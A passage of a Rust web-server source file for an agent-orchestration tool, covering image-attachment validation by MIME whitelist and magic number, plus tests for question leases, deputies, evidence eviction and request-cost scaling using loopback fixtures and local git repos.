10874            Ok((mime, _)) => {
10875                tracing::warn!(
10876                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10877                    found.id
10878                );
10879                Ok(builtin_avatar(&found.id))
10880            }
10881            Err(e) => {
10882                tracing::warn!(
10883                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10884                    found.id
10885                );
10886                Ok(builtin_avatar(&found.id))
10887            }
10888        }
10889    })
10890    .await
10891}
10892
10893/// Validate an attachment upload's declared `Content-Type` and the bytes
10894/// themselves, returning the canonical mime on success.
10895///
10896/// Two checks, both required: the header has to name one of
10897/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10898/// simply never in the list, active content rather than a picture, the same
10899/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10900/// magic number has to agree. The second is what stops a mislabeled upload -
10901/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10902/// a declared type is a claim, not a fact, so it is never trusted alone.
10903fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10904    if data.len() > ATTACHMENT_MAX_BYTES {
10905        return Err(ApiError::bad_request(format!(
10906            "attachment is {} bytes, over the {} MiB limit",
10907            data.len(),
10908            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10909        ))
10910        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10911    }
10912    if data.is_empty() {
10913        return Err(ApiError::bad_request("attachment is empty"));
10914    }
10915    let declared = declared_mime(headers)?;
10916    match sniffed_mime(data) {
10917        Some(sniffed) if sniffed == declared => Ok(declared),
10918        Some(sniffed) => Err(ApiError::bad_request(format!(
10919            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10920        ))),
10921        None => Err(ApiError::bad_request(
10922            "the file's bytes do not match any accepted image format",
10923        )),
10924    }
10925}
10926
10927/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10928/// and nothing else - parameters like `; charset=` are stripped, but the
10929/// value itself is not otherwise interpreted.
10930fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10931    let raw = headers
10932        .get(header::CONTENT_TYPE)
10933        .and_then(|v| v.to_str().ok())
10934        .unwrap_or("")
10935        .split(';')
10936        .next()
10937        .unwrap_or("")
10938        .trim()
10939        .to_ascii_lowercase();
10940    ATTACHMENT_MIME_WHITELIST
10941        .iter()
10942        .find(|&&m| m == raw)
10943        .copied()
10944        .ok_or_else(|| {
10945            if raw == "image/svg+xml" {
10946                ApiError::bad_request(
10947                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10948                     not just a picture",
10949                )
10950            } else if raw.is_empty() {
10951                ApiError::bad_request("Content-Type is required for an attachment upload")
10952            } else {
10953                ApiError::bad_request(format!(
10954                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10955                     image/gif or image/webp"
10956                ))
10957            }
10958        })
10959}
10960
10961/// Identify an image by its magic number, independent of whatever
10962/// `Content-Type` claimed.
10963fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10964    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10965        Some("image/png")
10966    } else if data.starts_with(b"\xff\xd8\xff") {
10967        Some("image/jpeg")
10968    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10969        Some("image/gif")
10970    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10971        Some("image/webp")
10972    } else {
10973        None
10974    }
10975}
10976
10977/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10978/// display - see [`talk::Attachment::name`]'s doc on why it never
10979/// contributes to a path. A missing or blank header (curl without it, an
10980/// older front end) falls back to a generic name rather than refusing the
10981/// upload over a field that is cosmetic.
10982fn filename_header(headers: &HeaderMap) -> String {
10983    headers
10984        .get(FILENAME_HEADER)
10985        .and_then(|v| v.to_str().ok())
10986        .map(str::trim)
10987        .filter(|s| !s.is_empty())
10988        .unwrap_or("attachment")
10989        .to_owned()
10990}
10991
10992/// Every attachment `GET` response: the mime re-validated against the same
10993/// closed whitelist the upload route enforces - never the string trusted
10994/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10995/// cannot decide it knows better than the type we send. Unlike a panel asset
10996/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10997/// document renders inline, not agent-authored HTML in a sandboxed frame.
10998fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10999    let content_type = ATTACHMENT_MIME_WHITELIST
11000        .iter()
11001        .find(|&&m| m == mime)
11002        .copied()
11003        .unwrap_or("application/octet-stream");
11004    (
11005        [
11006            (header::CONTENT_TYPE, content_type),
11007            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11008        ],
11009        body,
11010    )
11011        .into_response()
11012}
11013
11014/// The configuration for a repository, read off the disk for this request.
11015///
11016/// Through [`blocking`] because discovery reads and merges several TOML files,
11017/// and because the alternative - caching it in [`Ui`] at startup - would mean
11018/// the operator's phone kept interviewing with a roster they had already
11019/// changed, with no way to reload it but restarting the server they are not
11020/// sitting in front of.
11021async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11022    let repo = repo.to_path_buf();
11023    blocking(move || {
11024        let (cfg, _) = Config::discover(&repo, None)?;
11025        Ok(cfg)
11026    })
11027    .await
11028}
11029
11030/// The one prefix rule, used for both runs and tasks: a leading match for a
11031/// full id, a trailing match for the short form an operator reads off a
11032/// report. Written here rather than borrowed from `queue::resolve_id` because
11033/// the UI needs the two failures as different status codes, and telling them
11034/// apart from an error message is not something to build a route on.
11035fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11036    let mut hits = ids
11037        .into_iter()
11038        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11039    match (hits.next(), hits.next()) {
11040        (Some(one), None) => Ok(one),
11041        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11042        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11043            "`{prefix}` matches more than one {what}, including {a} and {b}"
11044        ))),
11045    }
11046}
11047
11048#[cfg(test)]
11049mod tests {
11050
11051    #[test]
11052    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11053        let dir = tempfile::tempdir().unwrap();
11054        let store = ask::Questions::at(dir.path().join("questions"));
11055        let mut q = Question::new(
11056            "task".to_owned(),
11057            "conduct".to_owned(),
11058            "conduct".to_owned(),
11059            "choose".to_owned(),
11060            String::new(),
11061            vec!["keep".to_owned()],
11062        );
11063        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11064        q.say("why?").unwrap();
11065        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11066        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11067        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11068        store.put(&mut q).unwrap();
11069        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11070        assert_eq!(store.count_needs_owner(), 1);
11071        store.beat(&q.id, ask::WaiterKind::Deputy);
11072        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11073        assert_eq!(store.count_needs_owner(), 0);
11074        let mut stale = store.read_lease(&q.id).unwrap();
11075        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11076        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11077        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11078        assert!(view.deputy_exhausted);
11079        assert!(view.waiting_on_agent);
11080        assert_eq!(view.question.choices, ["keep"]);
11081        store.drop_lease(&q.id);
11082        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11083        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11084    }
11085
11086    #[test]
11087    fn holder_reads_the_lease_not_the_record() {
11088        let mut q = Question::new(
11089            "run".to_owned(),
11090            "implement".to_owned(),
11091            "impl-A".to_owned(),
11092            "which?".to_owned(),
11093            String::new(),
11094            Vec::new(),
11095        );
11096        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11097        q.cwd = Some("/tmp".to_owned());
11098        assert_eq!(holder_of(&q, None), Some("nobody"));
11099        let beat = |kind, ago: i64| ask::Lease {
11100            kind,
11101            pid: 1,
11102            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11103                .unwrap(),
11104        };
11105        let fresh = beat(ask::WaiterKind::Asker, 1);
11106        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11107        let daemon = beat(ask::WaiterKind::Daemon, 1);
11108        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11109        let stale = beat(ask::WaiterKind::Asker, 3600);
11110        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11111
11112        // A conductor question says "deputy" only while one is attached and
11113        // alive, and "nobody" - never silence - when nothing ever listened.
11114        let mut c = Question::new(
11115            "task".to_owned(),
11116            crate::conduct::NODE.to_owned(),
11117            "conduct".to_owned(),
11118            "which?".to_owned(),
11119            String::new(),
11120            Vec::new(),
11121        );
11122        assert_eq!(holder_of(&c, None), Some("nobody"));
11123        c.cwd = Some("/tmp".to_owned());
11124        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11125        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11126        let deputy = beat(ask::WaiterKind::Deputy, 1);
11127        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11128        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11129
11130        // A release-watch question: nobody until a deputy is attached.
11131        let mut r = Question::new(
11132            String::new(),
11133            crate::bump::NOTICE_NODE.to_owned(),
11134            "release-watch".to_owned(),
11135            "stuck?".to_owned(),
11136            String::new(),
11137            vec!["hold".to_owned()],
11138        );
11139        assert_eq!(holder_of(&r, None), Some("nobody"));
11140        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11141        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11142        // A choice-less bump notice is nobody's question at all.
11143        r.deputy = None;
11144        r.seat = "bump".to_owned();
11145        assert_eq!(holder_of(&r, None), None);
11146
11147        // A merge approval is the same: nobody until a deputy is attached
11148        // and alive, never a silent "no holder".
11149        let mut m = Question::new(
11150            "run".to_owned(),
11151            crate::land::APPROVAL_NODE.to_owned(),
11152            "land".to_owned(),
11153            "merge?".to_owned(),
11154            String::new(),
11155            Vec::new(),
11156        );
11157        assert_eq!(holder_of(&m, None), Some("nobody"));
11158        assert_eq!(
11159            holder_of(&m, Some(&fresh)),
11160            Some("asker"),
11161            "a live explicit wait is a listener even before a deputy is attached"
11162        );
11163        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11164        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11165        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11166        assert_eq!(holder_of(&m, None), Some("nobody"));
11167    }
11168
11169    fn stub_config() -> Config {
11170        // An explicit roster, so the result never depends on which agent CLIs
11171        // this machine has installed.
11172        Config {
11173            agents: vec![crate::config::AgentSpec {
11174                id: "stub".to_owned(),
11175                kind: AgentKind::Command,
11176                model: None,
11177                command: vec!["true".to_owned()],
11178                extra_args: Vec::new(),
11179                env: Default::default(),
11180                prompt_delivery: None,
11181                max_turn_secs: None,
11182            }],
11183            ..Config::default()
11184        }
11185    }
11186
11187    fn plain_question(seat: &str) -> Question {
11188        Question::new(
11189            String::new(),
11190            "n".to_owned(),
11191            seat.to_owned(),
11192            "s".to_owned(),
11193            String::new(),
11194            Vec::new(),
11195        )
11196    }
11197
11198    #[test]
11199    fn deputies_enabled_follows_the_config() {
11200        let on = stub_config();
11201        assert!(crate::deputy::can_start(Some(&on), ""));
11202        assert!(crate::deputy::can_start(Some(&on), "stub"));
11203        let mut off = on.clone();
11204        off.daemon.max_deputies = 0;
11205        assert!(!crate::deputy::can_start(Some(&off), ""));
11206        let mut empty = on;
11207        empty.agents.clear();
11208        assert!(!crate::deputy::can_start(Some(&empty), ""));
11209        assert!(!crate::deputy::can_start(None, ""));
11210    }
11211
11212    #[test]
11213    fn question_views_load_the_config_once() {
11214        let dir = TempDir::new().unwrap();
11215        let store = ask::Questions::at(dir.path().to_path_buf());
11216        let mut with_deputy = plain_question("b");
11217        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11218        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11219
11220        let calls = std::cell::Cell::new(0usize);
11221        let views = question_views(qs.clone(), &store, || {
11222            calls.set(calls.get() + 1);
11223            Some(stub_config())
11224        });
11225        assert_eq!(calls.get(), 1);
11226        assert_eq!(views.len(), 3);
11227        for (v, q) in views.iter().zip(&qs) {
11228            assert_eq!(
11229                v.deputies_enabled,
11230                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11231            );
11232        }
11233
11234        let views = question_views(qs, &store, || None);
11235        assert!(views.iter().all(|v| !v.deputies_enabled));
11236
11237        let calls = std::cell::Cell::new(0usize);
11238        let views = question_views(Vec::new(), &store, || {
11239            calls.set(calls.get() + 1);
11240            None
11241        });
11242        assert!(views.is_empty());
11243        assert_eq!(calls.get(), 0);
11244    }
11245
11246    use pretty_assertions::assert_eq;
11247    use serde_json::Value;
11248    use tempfile::TempDir;
11249    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11250
11251    use super::*;
11252    use crate::config::Config;
11253    use crate::queue::Source;
11254
11255    /// How many 10ms steps a settle loop takes before it calls a stall a
11256    /// stall - thirty seconds.
11257    ///
11258    /// These loops wait on real `sh` subprocesses, and the machine that runs
11259    /// the gate runs several suites at once, so a two-second budget was not
11260    /// waiting for the reply, it was racing the scheduler: two of these
11261    /// tests failed under that load with the turn simply not landed yet.
11262    /// This is a hang guard, not a latency assertion - every loop breaks the
11263    /// moment its condition holds, so a generous cap costs an idle machine
11264    /// nothing and still fails a genuine hang instead of hanging the suite.
11265    const SETTLE_STEPS: usize = 3_000;
11266
11267    /// A home with a queue and a runs directory, and a router serving it on
11268    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11269    /// dependency, not ours - so the tests drive a real socket, which has the
11270    /// side benefit of asserting the status line and content types the phone
11271    /// actually receives.
11272    struct Fixture {
11273        home: TempDir,
11274        addr: SocketAddr,
11275    }
11276
11277    impl Fixture {
11278        async fn start() -> Self {
11279            Self::with_loop(launch_idle).await
11280        }
11281
11282        /// A fixture whose loop is `launch`.
11283        async fn with_loop(launch: Launch) -> Self {
11284            let home = TempDir::new().expect("temp home");
11285            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11286            Self { home, addr }
11287        }
11288
11289        /// A fixture whose `ui.repo` is a real directory rather than the
11290        /// usual placeholder - for the routes that read config off it
11291        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11292        async fn with_repo(repo: PathBuf) -> Self {
11293            let home = TempDir::new().expect("temp home");
11294            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11295            Self { home, addr }
11296        }
11297
11298        /// As [`Fixture::with_repo`], with the machine-config file the
11299        /// settings screen reads and writes.
11300        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11301            let home = TempDir::new().expect("temp home");
11302            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11303            Self { home, addr }
11304        }
11305
11306        async fn serve(
11307            home: &FsPath,
11308            repo: PathBuf,
11309            launch: Launch,
11310            machine: Option<PathBuf>,
11311        ) -> SocketAddr {
11312            let queue = Queue::at(home.join("queue"));
11313            let runs = home.join("runs");
11314            std::fs::create_dir_all(&runs).expect("runs dir");
11315            let worktrees = home.join("wt").join("magi");
11316            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11317            let ui = Ui::new(
11318                queue,
11319                Questions::at(home.join("questions")),
11320                Talks::at(home.join("talks")),
11321                runs,
11322                home.to_path_buf(),
11323                repo,
11324            )
11325            .with_worktrees_root(worktrees)
11326            .with_machine_config(machine)
11327            .with_launch(launch);
11328            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11329                .await
11330                .expect("bind loopback");
11331            let addr = listener.local_addr().expect("local addr");
11332            tokio::spawn(async move {
11333                let router = ui
11334                    .router()
11335                    .layer(axum::middleware::from_fn(request_cost::observe));
11336                let _ = axum::serve(listener, router).await;
11337            });
11338            addr
11339        }
11340
11341        fn queue(&self) -> Queue {
11342            Queue::at(self.home.path().join("queue"))
11343        }
11344
11345        fn questions(&self) -> Questions {
11346            Questions::at(self.home.path().join("questions"))
11347        }
11348
11349        fn talks(&self) -> Talks {
11350            Talks::at(self.home.path().join("talks"))
11351        }
11352
11353        fn runs(&self) -> PathBuf {
11354            self.home.path().join("runs")
11355        }
11356
11357        async fn get(&self, path: &str) -> Res {
11358            request(self.addr, "GET", path, None).await
11359        }
11360
11361        /// The status and headers without the body, which is how the front end
11362        /// preflights a panel: a sandboxed frame is opaque to the parent
11363        /// document, so the only way to tell "no panel" from "a panel that
11364        /// rendered blank" is to ask before mounting.
11365        async fn head(&self, path: &str) -> Res {
11366            request(self.addr, "HEAD", path, None).await
11367        }
11368
11369        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11370            request(self.addr, "POST", path, body).await
11371        }
11372
11373        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11374            request_with(self.addr, "GET", path, None, extra).await
11375        }
11376
11377        async fn delete(&self, path: &str) -> Res {
11378            request(self.addr, "DELETE", path, None).await
11379        }
11380
11381        async fn put(&self, path: &str, body: &str) -> Res {
11382            request(self.addr, "PUT", path, Some(body)).await
11383        }
11384
11385        /// `POST` a raw body with its own headers - see [`request_bytes`].
11386        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11387            request_bytes(self.addr, path, headers, body).await
11388        }
11389    }
11390
11391    /// Real tracking refs exercise the successful discovery path (including
11392    /// extraction), rather than counting cheap failures on a placeholder repo.
11393    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11394        let tmp = TempDir::new().unwrap();
11395        let mut repos = Vec::new();
11396        for name in ["one", "two"] {
11397            let repo = tmp.path().join(name);
11398            let origin = tmp.path().join(format!("{name}.git"));
11399            std::fs::create_dir_all(&repo).unwrap();
11400            crate::git::git(&repo, &["init", "-b", "main"])
11401                .await
11402                .unwrap();
11403            std::fs::write(
11404                repo.join("magi.toml"),
11405                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11406            )
11407            .unwrap();
11408            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11409            crate::git::git(
11410                &repo,
11411                &[
11412                    "-c",
11413                    "user.name=fixture",
11414                    "-c",
11415                    "user.email=fixture@example.invalid",
11416                    "commit",
11417                    "-m",
11418                    "fixture",
11419                ],
11420            )
11421            .await
11422            .unwrap();
11423            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11424                .await
11425                .unwrap();
11426            crate::git::git(
11427                &repo,
11428                &["remote", "add", "origin", origin.to_str().unwrap()],
11429            )
11430            .await
11431            .unwrap();
11432            crate::git::git(&repo, &["push", "origin", "main"])
11433                .await
11434                .unwrap();
11435            crate::git::git(
11436                &repo,
11437                &[
11438                    "symbolic-ref",
11439                    "refs/remotes/origin/HEAD",
11440                    "refs/remotes/origin/main",
11441                ],
11442            )
11443            .await
11444            .unwrap();
11445            let (cfg, _) = Config::discover(&repo, None).unwrap();
11446            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11447            repos.push(repo);
11448        }
11449        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11450        (tmp, repos)
11451    }
11452
11453    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11454        let (tmp, repos) = performance_repositories().await;
11455        let machine = tmp.path().join("machine.toml");
11456        std::fs::write(&machine, "").unwrap();
11457        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11458        (tmp, repos, fx)
11459    }
11460
11461    fn seed_performance(
11462        fx: &Fixture,
11463        repos: &[PathBuf; 2],
11464        questions: usize,
11465        runs: usize,
11466        items: usize,
11467    ) {
11468        // Saving states directly never starts a run or changes MAGI_HOME.
11469        for i in fx.questions().list().len()..questions {
11470            let mut question = Question::new(
11471                "20261001-000000-0000".into(),
11472                "implement".into(),
11473                "impl-A".into(),
11474                format!("question {i}"),
11475                "context".into(),
11476                vec!["yes".into(), "no".into()],
11477            );
11478            question.id = format!("20261003-000000-{i:04x}");
11479            fx.questions().put(&mut question).unwrap();
11480        }
11481        for i in run_ids(&fx.runs()).len()..runs {
11482            write_run_repo(
11483                &fx.runs(),
11484                &format!("20261001-000000-{i:04x}"),
11485                RunStatus::Ready,
11486                repos[i % 2].to_str().unwrap(),
11487            );
11488        }
11489        for i in fx.talks().list().len()..items {
11490            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11491            let mut talk = fx.talks().get(&id).unwrap();
11492            talk.repo = repos[i % 2].clone();
11493            fx.talks().put(&mut talk).unwrap();
11494            let mut task = crate::queue::Task::new(
11495                format!("task {i}"),
11496                "instruction".into(),
11497                repos[i % 2].clone(),
11498                crate::queue::Source::Agent {
11499                    run: id,
11500                    node: crate::queue::CHAT_NODE.into(),
11501                },
11502            );
11503            task.id = format!("20261004-000000-{i:04x}");
11504            fx.queue().put(&mut task).unwrap();
11505            // Notices has a production retention cap; seed up to that cap.
11506            if i < crate::notices::CAP {
11507                Notices::at(fx.home.path().join("notifications"))
11508                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11509                    .unwrap();
11510            }
11511        }
11512        assert_eq!(fx.questions().list().len(), questions);
11513        assert_eq!(run_ids(&fx.runs()).len(), runs);
11514        assert_eq!(fx.talks().list().len(), items);
11515        assert_eq!(fx.queue().list().len(), items);
11516        assert_eq!(
11517            Notices::at(fx.home.path().join("notifications"))
11518                .list()
11519                .len(),
11520            items.min(crate::notices::CAP)
11521        );
11522    }
11523
11524    #[tokio::test]
11525    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11526        let home = TempDir::new().unwrap();
11527        let root = home.path().canonicalize().unwrap();
11528        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11529        let fx = Fixture { home, addr };
11530        let repo = root.as_path().join("archive-repo");
11531        std::fs::create_dir(&repo).unwrap();
11532        crate::git::git(&repo, &["init", "-b", "main"])
11533            .await
11534            .unwrap();
11535        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11536            .await
11537            .unwrap();
11538        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11539            .await
11540            .unwrap();
11541        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11542            .await
11543            .unwrap();
11544        std::fs::write(repo.join("source"), "base").unwrap();
11545        crate::git::git(&repo, &["add", "."]).await.unwrap();
11546        crate::git::git(&repo, &["commit", "-m", "base"])
11547            .await
11548            .unwrap();
11549        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11550        std::fs::write(repo.join("source"), "archived review").unwrap();
11551        crate::git::git(&repo, &["commit", "-am", "review"])
11552            .await
11553            .unwrap();
11554        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11555        let mut config = Config::default();
11556        config.graph.worktree_root = Some(root.as_path().join("copies"));
11557        let mut state = RunState::new(
11558            repo.clone(),
11559            "main".into(),
11560            base.clone(),
11561            "archive".into(),
11562            config,
11563        );
11564        state.id = "20260101-000000-ef05".into();
11565        state.status = RunStatus::Ready;
11566        state.save_under(root.as_path()).unwrap();
11567        let evidence =
11568            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11569                .await
11570                .unwrap();
11571        let base_evidence =
11572            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11573                .await
11574                .unwrap();
11575        let source = state.worktree_root().join("review-1");
11576        let mut contents = std::collections::BTreeMap::new();
11577        contents.insert(
11578            repo.join("logs/HEAD"),
11579            format!("{base} {head} fixture\n").into_bytes(),
11580        );
11581        let record = serde_json::json!({
11582            "version":1, "run":state.id, "source":source, "head":head,
11583            "evidence":evidence, "admin":{}, "admin_contents":contents,
11584            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11585        });
11586        std::fs::write(
11587            fx.runs()
11588                .join(&state.id)
11589                .join("artifacts/eviction-review-1.json"),
11590            serde_json::to_vec(&record).unwrap(),
11591        )
11592        .unwrap();
11593        std::fs::remove_dir_all(&repo).unwrap();
11594        let url = format!("/api/runs/{}/seat-evidence", state.id);
11595        let list = fx.get(&url).await;
11596        assert_eq!(list.status, 200, "{}", list.body);
11597        assert_eq!(list.json()[&head], "review-1");
11598        let patch = fx.get(&format!("{url}/{head}")).await;
11599        assert_eq!(patch.status, 200, "{}", patch.body);
11600        assert!(patch.body.contains("+archived review"));
11601        assert_eq!(fx.get(&format!("{url}/unknown")).await.status, 404);
11602        std::fs::write(evidence.join("objects.pack"), "corrupt").unwrap();
11603        assert_eq!(fx.get(&url).await.status, 404);
11604        assert_eq!(fx.get(&format!("{url}/{head}")).await.status, 404);
11605    }
11606
11607    fn request_counts(res: &Res) -> (usize, usize) {
11608        assert_eq!(res.status, 200, "{}", res.body);
11609        (
11610            res.header("x-test-discoveries").unwrap().parse().unwrap(),
11611            res.header("x-test-git").unwrap().parse().unwrap(),
11612        )
11613    }
11614
11615    #[tokio::test]
11616    async fn list_request_cost_is_independent_of_record_count() {
11617        let (_tmp, repos, fx) = performance_fixture().await;
11618        let mut previous = None;
11619        for n in [4, 60] {
11620            seed_performance(&fx, &repos, n, n, n);
11621            let mut costs = Vec::new();
11622            for (path, discoveries) in [
11623                ("/api/questions", 1),
11624                ("/api/talks", 0),
11625                ("/api/health", 0),
11626                ("/api/stats", 1),
11627            ] {
11628                // Equal cold extraction caches at both scales; this also
11629                // bounds first-request cost instead of only warmed requests.
11630                for repo in &repos {
11631                    let cache = repo.join(".git/magi/config");
11632                    if cache.exists() {
11633                        std::fs::remove_dir_all(cache).unwrap();
11634                    }
11635                }
11636                let cost = request_counts(&fx.get(path).await);
11637                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
11638                assert_eq!(cost.0, discoveries, "{path}, N={n}");
11639                assert!(
11640                    cost.1 <= 40 && (discoveries == 0 || cost.1 > 0),
11641                    "{path}: {cost:?}"
11642                );
11643                costs.push(cost);
11644            }
11645            if let Some(previous) = previous {
11646                assert_eq!(costs, previous);
11647            }
11648            previous = Some(costs);
11649        }
11650        // runs reads shared row inputs and probes process liveness; queue
11651        // builds one blocker inventory; notifications reads its own store.
11652        // None discovers configuration or spawns git per item.
11653    }
11654
11655    /// The same handler path without transport, so the deterministic cause
11656    /// can also be checked in environments that prohibit binding sockets.
11657    #[tokio::test]
11658    async fn list_handler_cost_without_transport() {
11659        let (_tmp, repos) = performance_repositories().await;
11660        let fx = Fixture {
11661            home: TempDir::new().unwrap(),
11662            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11663        };
11664        let ui = Arc::new(
11665            Ui::new(
11666                fx.queue(),
11667                fx.questions(),
11668                fx.talks(),
11669                fx.runs(),
11670                fx.home.path().to_path_buf(),
11671                repos[0].clone(),
11672            )
11673            .with_worktrees_root(fx.home.path().join("wt")),
11674        );
11675        let mut previous = None;
11676        for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
11677            seed_performance(&fx, &repos, n, runs, items);
11678            let mut costs = Vec::new();
11679            for endpoint in ["questions", "talks", "health", "stats"] {
11680                for repo in &repos {
11681                    let cache = repo.join(".git/magi/config");
11682                    if cache.exists() {
11683                        std::fs::remove_dir_all(cache).unwrap();
11684                    }
11685                }
11686                let (_, cost) = request_cost::measure(async {
11687                    match endpoint {
11688                        "questions" => {
11689                            let _ = questions_list(State(ui.clone())).await.unwrap();
11690                        }
11691                        "talks" => {
11692                            let _ = talks_list(
11693                                State(ui.clone()),
11694                                Query(ListQuery {
11695                                    limit: None,
11696                                    ids: None,
11697                                }),
11698                                header::HeaderMap::new(),
11699                            )
11700                            .await
11701                            .unwrap();
11702                        }
11703                        "health" => {
11704                            let _ = health(State(ui.clone())).await.unwrap();
11705                        }
11706                        _ => {
11707                            let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
11708                                .await
11709                                .unwrap();
11710                        }
11711                    }
11712                })
11713                .await;
11714                eprintln!("{endpoint} handler N={n}: {cost:?}");
11715                assert_eq!(
11716                    cost.0,
11717                    if matches!(endpoint, "talks" | "health") {
11718                        0
11719                    } else {
11720                        1
11721                    },
11722                    "{endpoint}"
11723                );
11724                assert!(
11725                    cost.1 <= 40 && (matches!(endpoint, "talks" | "health") || cost.1 > 0),
11726                    "{endpoint}: {cost:?}"
11727                );
11728                costs.push(cost);
11729            }
11730            if let Some(previous) = previous {
11731                assert_eq!(costs, previous);
11732            }
11733            previous = Some(costs);
11734        }
11735    }
11736
11737    #[tokio::test]
11738    async fn list_request_cost_scopes_do_not_mix() {
11739        let (_tmp, repos, fx) = performance_fixture().await;
11740        seed_performance(&fx, &repos, 10, 0, 10);
11741        let (questions, talks, notices) = tokio::join!(
11742            fx.get("/api/questions"),
11743            fx.get("/api/talks"),
11744            fx.get("/api/notifications")
11745        );
11746        assert_eq!(request_counts(&questions).0, 1);
11747        // Cached summaries perform no config discovery or git work, even
11748        // alongside the questions request that still discovers config.
11749        assert_eq!(request_counts(&talks), (0, 0));
11750        assert_eq!(request_counts(&notices), (0, 0));
11751    }
11752
11753    #[tokio::test]
11754    async fn list_endpoints_large_home_responses() {
11755        check_large_home_endpoints(false).await;
11756    }
11757
